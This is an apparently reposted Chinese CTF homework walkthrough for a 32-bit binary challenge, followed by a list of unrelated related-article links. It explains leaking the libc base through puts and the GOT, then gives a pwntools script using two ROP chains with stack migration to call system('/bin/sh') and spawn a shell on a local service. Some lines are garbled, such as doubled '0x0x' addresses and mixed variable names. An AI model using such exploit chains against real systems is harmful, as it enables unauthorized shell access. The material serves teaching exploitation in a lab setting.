Pwn_9 作业讲解
pwn1
针对Alarm clock进行处理
- 修改程序的16进制数值
- Hook函数
将alarm函数替换掉
在linux下使用命令 sed -i s/alarm/isnan/g ./pwn1
检查保护机制
checksec --file ./pwn1
NX 数据保护权限 可写的不可执行
查看编译
file ./pwn1
./pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5243dd9fb1db881e7845015ab0b1d643857ba43b, stripped
动态编译
确定使用return to library
- 确定libc的基地址,通过puts函数打印.got.plt地址中的值,输出实际地址 libc_base = address – offset
- 调用libc中的system函数 构造getshell
- 一个Rop是无法完成的,所以需要两个rop,第一个rop泄露基地址,第二个rop构造getshell
小端置序
使用ipython Tab键自动补全
from pwn import *
p = ELF(‘./pwn’)
hex(p.symbols(‘puts’))
hex(p.got['__libc_start_main']) #获取.got.plt 地址
python –c ‘print “a”*100’ | nc localhost 4000
f661e540
笨方法找实际地址
tmp = r.recvline()
for i in range (len(tmp)):
print hex(u32(tmp[i:i+4]))
libc_base = u32(r.recvline()[71:75])- libc_start_off
pwn1 脚本 两个Rop做stack migration
from pwn import *
r = remote('127.0.0.1',4000)
pwn = ELF('./pwn1')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')read = pwn1.symbols['read']
puts = pwn.symbols['puts']libc_start_main_got_plt = pwn.got['__libc_start_main'] #0x0x804a020
libc_start_offset = libc.symbols['__libc_start_main']leave_ret = 0x0x080484b8
pop_ebp_ret = 0x0804865f
pop3_ret = 0x0804865dbuf = 0x0804b000 - 100
buf1 = 0x0804b000 - 500rop1 = [
puts,
pop_ebp_ret,
libc_start_main_got_plt,
read,
pop3_ret,
0,
buf,
50,
pop_ebp_ret,
buf-4,
leave_ret
]
r.sendline('a'*140+flat(rop1))libc_base = 0xf661e540 - libc_start_offset
gets_off = libc.symbols['gets']
system_off = libc.symbols['system']gets = libc_base + gets_off
system = libc_base + system_off
rop2 = [
gets,
system,
buf1,
buf1
]
r.sendline(flat(rop2))sleep(2)
r.sendline('/bin/sh\x00')r.interactive()
转载于:https://www.cnblogs.com/rookieDanny/p/8521595.html
Pwn_9 作业讲解相关推荐
- python 全栈开发,Day36(作业讲解(大文件下载以及进度条展示),socket的更多方法介绍,验证客户端链接的合法性hmac,socketserver)...
先来回顾一下昨天的内容 黏包现象 粘包现象的成因 : tcp协议的特点 面向流的 为了保证可靠传输 所以有很多优化的机制 无边界 所有在连接建立的基础上传递的数据之间没有界限 收发消息很有可能不完全 ...
- [复变函数]第13堂课 作业讲解; 4 解析函数的幂级数表示法 4.1 复级数的基本性质...
第13堂课 作业讲解; 4 解析函数的幂级数表示法 4. 1 复级数的基本性质} 作业讲解: P 139 - 141, T 1, T 2 (2) , T 6, T 10 (1) , T 16 (1) ...
- python信用卡客户_信用卡客户画像 作业讲解1
信用卡客户画像 作业讲解1 信用卡客户画像 作业讲解1 获取请求类型 在很多情况下面,我们需要判断当前操作的请求类型是GET.POST.PUT.DELETE或者HEAD,一方面可以针对请求类型作出不同 ...
- 信号与系统作业讲解视频勘误
信号与系统作业 讲解视频勘误 第1次作业,第3题的第6小问 题目如下: 首先,本题的排版应该有点问题,小题前面的序号应该是(5)(6)(7)(8). 本题是是两个周期信号相加,他们的周期分 ...
- 数据结构与算法分析 作业讲解文档目录
参考教材:<数据结构(C语言版 第2版)> 严蔚敏,李冬梅,吴伟民编著,人民邮电出版社,2022年版. 对应的作业题讲解视频: 数据结构与算法分析作业讲解视频合集https://ww ...
- 计算机组成原理 xilinx ise 4位定点二进制模型,计算机组成原理作业讲解4章-答案...
<计算机组成原理作业讲解4章-答案>由会员分享,可在线阅读,更多相关<计算机组成原理作业讲解4章-答案(27页珍藏版)>请在人人文库网上搜索. 1.1 1 概述数字计算机的发展 ...
- 实变函数精品课程 (课件, 上课视频, 作业, 作业答案, 作业讲解, 作业纠错全都有)...
实变函数精品课程 (课件, 上课视频, 作业, 作业答案, 作业讲解, 作业纠错全都有) 自封的实变函数精品课程, 历时7 年打造的. (课件, 上课视频, 作业, 作业答案, 作业讲解, 作业纠错全 ...
- 哈工大计算机网络-作业讲解
哈工大计算机网络作业 例题等来源于哈工大李全龙老师,李全龙老师YYDS 计算机网络笔记 我们知道分组交换网络中时延共有四种 处理时延 排队时延 传输时延 传播时延 详细讲解
- 数据分析、机器学习必读书,李航《统计学习方法》发布算法推导视频啦!(附作业讲解)...
(文末可在线听人美声甜的数学系博士小姐姐带你读李航<统计学习方法>) 在信息过载的时代,不懂数据分析,你就会成为新时代的"文盲" 许多年前人们惊呼信息时代来了,其实体会 ...
最新文章
- python移动窗口函数
- python应用于财务-用6行python代码做一个财务机器人
- 洛谷 - P1198 - 最大数 - 线段树
- html按钮控制播放暂停,外部按钮控制video视频的播放暂停
- Spring Boot中使用多数据库
- iOS开发极光推送显示 开发证书没有通过验证 是否重新上传证书?解决方法
- python中的深浅拷贝
- jquery实现输入框动态增减
- CRMEB v3.2微信小程序商城前端
- Kinect for Windows SDK开发入门(三):基础知识 下
- 拓端tecdat:R语言STAN贝叶斯线性回归模型分析气候变化影响北半球海冰范围和可视化检查模型收敛性
- php 搜索获取排名,用PHP查询搜索引擎排名位置的代码
- PHP肥料源码_PHP农场养殖游戏巨人农场复利平台源码带抽奖
- MeasureSpec介绍及使用详解
- 单双向TVS瞬态抑制二极管,如何区分?
- 仨人一起生活的日子刚刚好,不是吗?
- 机器人的弊议论文_机器人的利弊议论文
- Microsoft edge 主页被劫持的处理办法
- 在线数据库管理工具 web-db mongodb
- 用Navicat Premium连接数据库!
热门文章
- Ansible roles角色实战案例:httpd nginx memcached mysql
- cordova降低版本10.0.0为8.1.2
- Linux安装ipvsadm工具查看ipvs
- Deepin、Debian、Ubuntu恢复误删除的/var/lib/dpkg
- linux随机数示例:随机产生以139开头的电话号码
- 第一行代码学习笔记第三章——UI开发的点点滴滴
- 字符串拆分-Java
- 强化学习1——策略,价值函数,模型
- 学习SPI的一些疑惑
- messenger android 4.,AndroidIPC机制(4)-Messenger